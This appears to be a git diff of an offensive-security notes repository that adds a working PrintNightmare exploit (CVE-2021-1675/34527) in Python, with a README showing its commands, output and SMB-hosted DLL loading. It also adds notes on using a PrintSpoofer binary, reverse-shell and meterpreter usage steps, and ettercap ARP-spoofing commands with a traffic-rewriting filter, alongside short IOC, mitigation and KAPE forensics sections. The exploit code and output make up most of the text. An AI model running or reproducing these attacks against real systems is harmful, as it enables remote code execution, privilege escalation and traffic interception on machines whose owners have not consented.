./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:Passw0rd@172.16.19.128' +Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation + +[*] Enumerating printer drivers +[*] Driver name: 'Microsoft XPS Document Writer v5' +[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL' +[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll' +[*] Copying over DLL +[*] Successfully copied over DLL +[*] Trying to load DLL +[*] Successfully loaded DLL +``` + +##### Local DLL +```bash +$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:Passw0rd@172.16.19.128' +Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation + +[*] Enumerating printer drivers +[*] Driver name: 'Microsoft XPS Document Writer v5' +[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL' +[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll' +[*] Loading DLL +[*] Successfully loaded DLL +``` + +Notice that the local DLL example doesn't abuse CVE-2021-34527 to copy over the DLL. + +##### Custom name +```bash +$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:Passw0rd@172.16.19.128' +Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation + +[*] Enumerating printer drivers +[*] Driver name: 'My Printer Driver' +[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL' +[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll' +[*] Copying over DLL +[*] Successfully copied over DLL +[*] Trying to load DLL +[*] Successfully loaded DLL + +$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.128' +Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation + +[*] Enumerating printer drivers +Name: Microsoft XPS Document Writer v4 +Environment: Windows x64 +Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll +Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd +Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll +Version: 4 +---------------------------------------------------------------- +Name: Microsoft Print To PDF +Environment: Windows x64 +Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll +Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml +Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll +Version: 4 +---------------------------------------------------------------- +Name: My Printer Driver +Environment: Windows x64 +Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL +Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll +Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll +Version: 3 +---------------------------------------------------------------- +Name: Microsoft Shared Fax Driver +Environment: Windows x64 +Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL +Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL +Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL +Version: 3 +---------------------------------------------------------------- +Name: Microsoft enhanced Point and Print compatibility driver +Environment: Windows x64 +Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll +Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd +Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll +Version: 3 +---------------------------------------------------------------- +``` + +#### Check if target is vulnerable + +##### Unpatched Windows 10 +```bash +$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.128' +Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation + +[*] Target appears to be vulnerable! +``` + +##### Patched Windows Server 2022 +```bash +$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.135' +Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation + +[!] Target does not appear to be vulnerable +``` + +#### List current printer drivers + +```bash +$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.135' +Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation + +[*] Enumerating printer drivers +Name: Microsoft XPS Document Writer v4 +Environment: Windows x64 +Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll +Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd +Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll +Version: 4 +---------------------------------------------------------------- +Name: Microsoft Print To PDF +Environment: Windows x64 +Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll +Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml +Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll +Version: 4 +---------------------------------------------------------------- +Name: Microsoft enhanced Point and Print compatibility driver +Environment: Windows x64 +Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll +Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd +Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll +Version: 3 +---------------------------------------------------------------- +``` + +#### Delete printer driver + +May require administrative privileges. + +```bash +$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:Passw0rd@172.16.19.128' +Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation + +[*] Deleted printer driver! +``` + +## Details + +PrintNightmare consists of two CVE's, CVE-2021-1675 / CVE-2021-34527. + +### CVE-2021-1675 + +A non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return `RPC_E_ACCESS_DENIED` (Code: `0x8001011b`) if a non-administrator tries to add a new printer driver. + +### CVE-2021-34527 + +When [adding a new printer driver](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b), the `pDataFile` parameter in the [DRIVER_CONTAINER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/3a3f9cf7-8ec4-4921-b1f6-86cf8d139bc2) allows UNC paths. The DLL specified in `pDataFile` will however **not** be loaded, *but* it will get copied over to a local path allowing us to create a new printer driver with the `pConfigFile` parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return `ERROR_INVALID_PARAMETER` (Code: `0x57`) + +### Combining the pieces + +Only CVE-2021-1675 is needed if the malicious DLL is already located on the target. + +For PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection. + +When creating a new printer driver, the DLL in the `pDataFile` parameter will **not** be loaded for security reasons. However, it *will* be copied over to `C:\Windows\system32\spool\drivers\x64\3\`. Then, we could create a new printer driver that uses `pConfigFile` (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to `C:\Windows\system32\spool\drivers\x64\3\old\\`, where `` is incremented for each DLL. Now we can create a third printer driver that will use the local path `C:\Windows\system32\spool\drivers\x64\3\old\\`, since the DLL is no longer used. Now it's just a matter of guessing `` which will start incrementing from `1`. + +Note that the DLL will keep its filename locally, so if you initially run the exploit with `foo.dll` and it gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll` and you then change the contents of `foo.dll` locally and run the exploit again and it now gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll`, then the original `foo.dll` will be used since it is located in `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll`. Instead, simply change the filename if you change the contents of the DLL. + +#### SMB and UNC + +In short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path `\\10.0.0.2\files\foo.txt` is a file `foo.txt` that is served from the `files` share of the server `10.0.0.2`. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the `Samba` package. + +To install `Samba` with `apt`: +```bash +$ sudo apt install samba +``` + +Edit the `/etc/samba/smb.conf` and add the following at the end of the file: +``` +[smb] + comment = Samba + path = /tmp/share + guest ok = yes + read only = yes + browsable = yes + force user = nobody +``` + +This will create a new share called `smb` and serve the files inside `/tmp/share`. It allows for anonymous access, and the local user `nobody` will be used to browse the files. + +Then start the Samba service by doing: +```bash +$ sudo service smbd start +``` + +Suppose your Linux machine has the IP `192.168.1.100` and you wish to serve the `evil.dll`, then the UNC path in this scenario will be `\\192.168.1.100\smb\evil.dll`. + +## Authors +- [@ly4k](https://github.com/ly4k) + +## Credits +- [@cube0x0](https://github.com/cube0x0)'s [implementation](https://github.com/cube0x0/CVE-2021-1675) +- [Impacket](https://github.com/SecureAuthCorp/impacket) \ No newline at end of file diff --git a/exploit/windows/print_nightmare/PrintNightmare/printnightmare.py b/exploit/windows/print_nightmare/PrintNightmare/printnightmare.py new file mode 100755 index 0000000..e91d442 --- /dev/null +++ b/exploit/windows/print_nightmare/PrintNightmare/printnightmare.py @@ -0,0 +1,760 @@ +#!/usr/bin/python3 +# +# PrintNightmare (CVE-2021-1675 / CVE-2021-34527) +# +# Authors: +# @ly4k (https://github.com/ly4k) +# +# Credit: +# @cube0x0 (https://github.com/cube0x0) +# +# Description: +# PrintNightmare implementation using standard Impacket +# +# PrintNightmare consists of two CVE's, CVE-2021-1675 & CVE-2021-34527. +# +# CVE-2021-1675 +# A non-administrator user is allowed to add a new printer driver. +# This vulnerability was fixed by only allowing administrators to +# add a new printer driver. A patched printer spooler will return RPC_E_ACCESS_DENIED +# whenever a non-administrator tries to add a new printer driver. +# +# CVE-2021-34527 +# When creating a new printer driver, the pDriverPath and pConfigFile parameters +# are checked for UNC paths, and is only allowed to be local paths. However, +# the pDataFile parameter is not constrained to local paths. Only pDriverPath and pConfigFile +# will be loaded for security reaons, not pDataFile. This vulnerability was fixed by not allowing +# UNC paths in the pDataFile parameter. A patched printer spooler will return ERROR_INVALID_PARAMETER +# when using a UNC path in pDataFile. +# +# This exploit also works with a local path instead of an UNC path. + +import sys +import logging +import argparse +import pathlib + +from impacket import system_errors, version +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.structure import Structure +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.dcerpc.v5 import transport, rprn +from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR +from impacket.dcerpc.v5.rprn import ( + checkNullString, + STRING_HANDLE, + PBYTE_ARRAY, +) + + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__(self): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return "RPRN SessionError: code: 0x%x - %s - %s" % ( + self.error_code, + error_msg_short, + error_msg_verbose, + ) + else: + return "RPRN SessionError: unknown error code: 0x%x" % self.error_code + + +################################################################################ +# CONSTANTS +################################################################################ +# MS-RPRN - 3.1.4.4.8 +APD_COPY_ALL_FILES = 0x00000004 +APD_COPY_FROM_DIRECTORY = 0x00000010 +APD_INSTALL_WARNED_DRIVER = 0x00008000 + +# MS-RPRN - 3.1.4.4.7 +DPD_DELETE_UNUSED_FILES = 0x00000001 + +# https://docs.microsoft.com/en-us/windows/win32/com/com-error-codes-3 +RPC_E_ACCESS_DENIED = 0x8001011B +system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = ( + "RPC_E_ACCESS_DENIED", + "Access is denied.", +) + +################################################################################ +# STRUCTURES +################################################################################ +# MS-RPRN - 2.2.1.5.1 +class DRIVER_INFO_1(NDRSTRUCT): + structure = (("pName", STRING_HANDLE),) + + +class PDRIVER_INFO_1(NDRPOINTER): + referent = (("Data", DRIVER_INFO_1),) + + +# MS-RPRN - 2.2.1.5.2 +class DRIVER_INFO_2(NDRSTRUCT): + structure = ( + ("cVersion", DWORD), + ("pName", LPWSTR), + ("pEnvironment", LPWSTR), + ("pDriverPath", LPWSTR), + ("pDataFile", LPWSTR), + ("pConfigFile", LPWSTR), + ) + + +class PDRIVER_INFO_2(NDRPOINTER): + referent = (("Data", DRIVER_INFO_2),) + + +class DRIVER_INFO_2_BLOB(Structure): + structure = ( + ("cVersion", "\, where is incremented + # for each DLL. To find the remote DLL requires a subtle bruteforcing. Usually, + # it will work in second iteration if run for the first time. If the exploit + # is run again and the same filename is used, the first DLL will get loaded, since + # it's not immediately removed from the 'old' directory. + driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString( + "C:\\Windows\\System32\\ntdll.dll" + ) + try: + resp = hRpcAddPrinterDriverEx( + dce, + pName=NULL, + pDriverContainer=driver_container, + dwFileCopyFlags=flags, + ) + except DCERPCSessionError as e: + print("Got unexpected error: %s" % e) + + i = 1 + while True: + driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString( + "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\%i\\%s" + % (i, filename) + ) + try: + resp = hRpcAddPrinterDriverEx( + dce, + pName=NULL, + pDriverContainer=driver_container, + dwFileCopyFlags=flags, + ) + if resp["ErrorCode"] == 0: + logging.info( + "Successfully loaded DLL from: %s" + % ( + "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\%i\\%s" + % (i, filename) + ) + ) + sys.exit(1) + except DCERPCSessionError as e: + if e.error_code == system_errors.ERROR_PATH_NOT_FOUND: + logging.warning("Loading DLL failed. Try again.") + sys.exit(1) + if e.error_code != system_errors.ERROR_FILE_NOT_FOUND: + logging.warning( + "Got unexpected error while trying to load DLL: %s" % e + ) + i += 1 + + +if __name__ == "__main__": + print(version.BANNER) + + logger.init() + + parser = argparse.ArgumentParser( + add_help=True, + description="PrintNightmare (CVE-2021-1675 / CVE-2021-34527)", + ) + parser.add_argument( + "target", + action="store", + help="[[domain/]username[:password]@]", + ) + + parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") + + group = parser.add_argument_group("connection") + + group.add_argument( + "-port", + choices=["139", "445"], + nargs="?", + default="445", + metavar="destination port", + help="Destination port to connect to MS-RPRN named pipe", + ) + group.add_argument( + "-target-ip", + action="store", + metavar="ip address", + help="IP Address of the target machine. If " + "ommited it will use whatever was specified as target. This is useful when target is the NetBIOS " + "name and you cannot resolve it", + ) + + group = parser.add_argument_group("authentication") + + group.add_argument( + "-hashes", + action="store", + metavar="LMHASH:NTHASH", + help="NTLM hashes, format is LMHASH:NTHASH", + ) + parser.add_argument( + "-no-pass", action="store_true", help="don't ask for password (useful for -k)" + ) + parser.add_argument( + "-k", + action="store_true", + help="Use Kerberos authentication. Grabs credentials from ccache file " + "(KRB5CCNAME) based on target parameters. If valid credentials " + "cannot be found, it will use the ones specified in the command " + "line", + ) + parser.add_argument( + "-dc-ip", + action="store", + metavar="ip address", + help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter", + ) + + group = parser.add_argument_group("driver") + group.add_argument( + "-name", + action="store", + metavar="driver name", + default="Microsoft XPS Document Writer v5", + help="Name for driver", + ) + group.add_argument( + "-env", + action="store", + metavar="driver name", + default="Windows x64", + help="Environment for driver", + ) + group.add_argument( + "-path", action="store", metavar="driver path", help="Driver path for driver" + ) + group.add_argument("-dll", action="store", metavar="driver dll", help="Path to DLL") + + group = parser.add_argument_group("modes") + group.add_argument( + "-check", action="store_true", help="Check if target is vulnerable" + ) + group.add_argument( + "-list", + action="store_true", + help="List existing printer drivers", + ) + group.add_argument("-delete", action="store_true", help="Deletes printer driver") + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remote_name = parse_target(options.target) + + if domain is None: + domain = "" + + if ( + password == "" + and username != "" + and options.hashes is None + and options.no_pass is not True + ): + from getpass import getpass + + password = getpass("Password:") + + if options.target_ip is None: + options.target_ip = remote_name + + if options.path is None: + options.path = "" + + print_nightmare = PrintNightmare( + username=username, + password=password, + domain=domain, + hashes=options.hashes, + do_kerberos=options.k, + dc_host=options.dc_ip, + port=int(options.port), + remote_name=remote_name, + target_ip=options.target_ip, + ) + + if options.check is not False: + if print_nightmare.check(): + logging.info("Target appears to be vulnerable!") + else: + logging.warning("Target does not appear to be vulnerable") + sys.exit(1) + + if options.list is not False: + for driver in print_nightmare.list(options.env): + print("Name: %s" % driver["Name"]) + print("Environment: %s" % driver["Environment"]) + print("Driver path: %s" % driver["DriverPath"]) + print("Data file: %s" % driver["DataFile"]) + print("Config file: %s" % driver["ConfigFile"]) + print("Version: %s" % driver["cVersion"]) + print("-" * 64) + sys.exit(1) + + if options.delete is not False: + print_nightmare.delete(options.env, options.name) + sys.exit(1) + + if options.dll is None: + logging.error("A path to a DLL is required when running the exploit") + sys.exit(1) + + print_nightmare.exploit(options.name, options.env, options.path, options.dll) diff --git a/exploit/windows/print_nightmare/print_nightmare.md b/exploit/windows/print_nightmare/print_nightmare.md new file mode 100644 index 0000000..a1914c3 --- /dev/null +++ b/exploit/windows/print_nightmare/print_nightmare.md @@ -0,0 +1,47 @@ +# Print Nightmare + +* Privilege Escalation using Print Spooler Service +* Located at `C:\Windows\System32\spoolsv.exe` +* Enabled by default +* [CVE-2021-1675](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675) (locally exploitable) and [CVE-2021-34527](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) (RCE) are both related to the print spooler +* RCE connection is done via [DCE/RPC](https://wiki.wireshark.org/DCE/RPC). Use of `RpcAddPrinterDriver` or `RpcAddPrinterDriverEx` + +## Usage + +* Prepare reverse shell +* Check if target would be vulnerable +```sh +rpcdump.py @$TARGET_IP | grep -e 'MS-RPRN|MS-PAR' +``` +* Execute smb server +```sh +smbserver.py share . -smb2support +``` +* Execute PoC with credentials to elevate +```sh +python CVE-2021-1675.py /:@$TARGET_IP +``` +* Use the meterpreter session + +## IOCs + +* `pcAddPrinterDriverEx()` is called +* [Sygnia](https://www.sygnia.co/demystifying-the-printnightmare-vulnerability) explains them +* [Splunk queries](https://www.splunk.com/en_us/blog/security/i-pity-the-spool-detecting-printnightmare-cve-2021-34527.html) + +* Logs are `Microsoft-Windows-PrintService/Admin` and `Microsoft-Windows-PrintService/Operational` +* Event Ids `316, 808, 811, 31017, 7031` + +## Mitigation + +* [link](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) +* Stop and disable +```sh +Stop-Service -Name Spooler -Force +Set-Service -Name Spooler -StartupType Disabled +``` +* Disable group policy +```sh +Computer Configuration/Administrative Templates/Printers +``` + diff --git a/exploit/windows/print_nightmare/printspoofer/PrintSpoofer.exe b/exploit/windows/print_nightmare/printspoofer/PrintSpoofer.exe new file mode 100644 index 0000000..8d93ec7 Binary files /dev/null and b/exploit/windows/print_nightmare/printspoofer/PrintSpoofer.exe differ diff --git a/exploit/windows/print_nightmare/printspoofer/README.md b/exploit/windows/print_nightmare/printspoofer/README.md new file mode 100644 index 0000000..fe3de3c --- /dev/null +++ b/exploit/windows/print_nightmare/printspoofer/README.md @@ -0,0 +1,10 @@ +# printspoofer + +PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10. + +To escalate privileges, the service account must have SeImpersonate privileges. To execute: + +```bash +PrintSpoofer.exe -i -c cmd +``` +With appropriate privileges this should grant system user shell access. diff --git a/exploit/windows/printspoofer b/exploit/windows/printspoofer deleted file mode 160000 index 29a9e27..0000000 --- a/exploit/windows/printspoofer +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 29a9e27f5418317bd5f4560ccfebcb65ca181b32 diff --git a/forensics/kape.md b/forensics/kape.md new file mode 100644 index 0000000..d79bf8c --- /dev/null +++ b/forensics/kape.md @@ -0,0 +1,23 @@ +# Kroll Artifact Parser + +* Collect and processes artifacts on windows +* Collects from live systems, mounted images and F-response tool + +## Targets + +* Needs source and target directory, as well as a module to process the files on +* `Target` copies a file into a repository +* `*.tkape` files contains metadata of the files to copy +* `Compound Targets` contain metadata of multiple files in order to get a result quicker +* `!Disable` do not appear in the target list +* `!Local` keep on local + + +## Modules + +* Used on the targeted files +* `*.mkape` files +* Additional binaries are kept in `bin` + + + diff --git a/post_exploitation/docs/mitm.md b/post_exploitation/docs/mitm.md index 9346833..c9de410 100644 --- a/post_exploitation/docs/mitm.md +++ b/post_exploitation/docs/mitm.md @@ -3,4 +3,29 @@ * [Ettercap](https://www.ettercap-project.org/) * [Bettercap](https://www.bettercap.org/) +* ARP spoofing via ettercap and read traffic. Press q to reverse to pre mitm arp caches +```sh +ettercap -T -i -M arp +``` +* Etterfilter can filter and restructure packets +```sh +man etterfilter +``` +```sh +if (ip.proto == TCP && tcp.dst == 80 && search(DATA.data, "filename.html") ) { + log(DATA.data, "/tmp/ettercap.log"); + replace("filename.html", "otherfilename.html" ); + msg("###### ETTERFILTER: substituted 'filename.html' with 'otherfilename.html' ######\n"); +} +``` +* Escape double quote inside the payload string +* compile via +```sh +etterfilter filter.ef -o filter.ef +``` + +* Run the filter via +```sh +ettercap -T -i -M arp -F filter.ef +```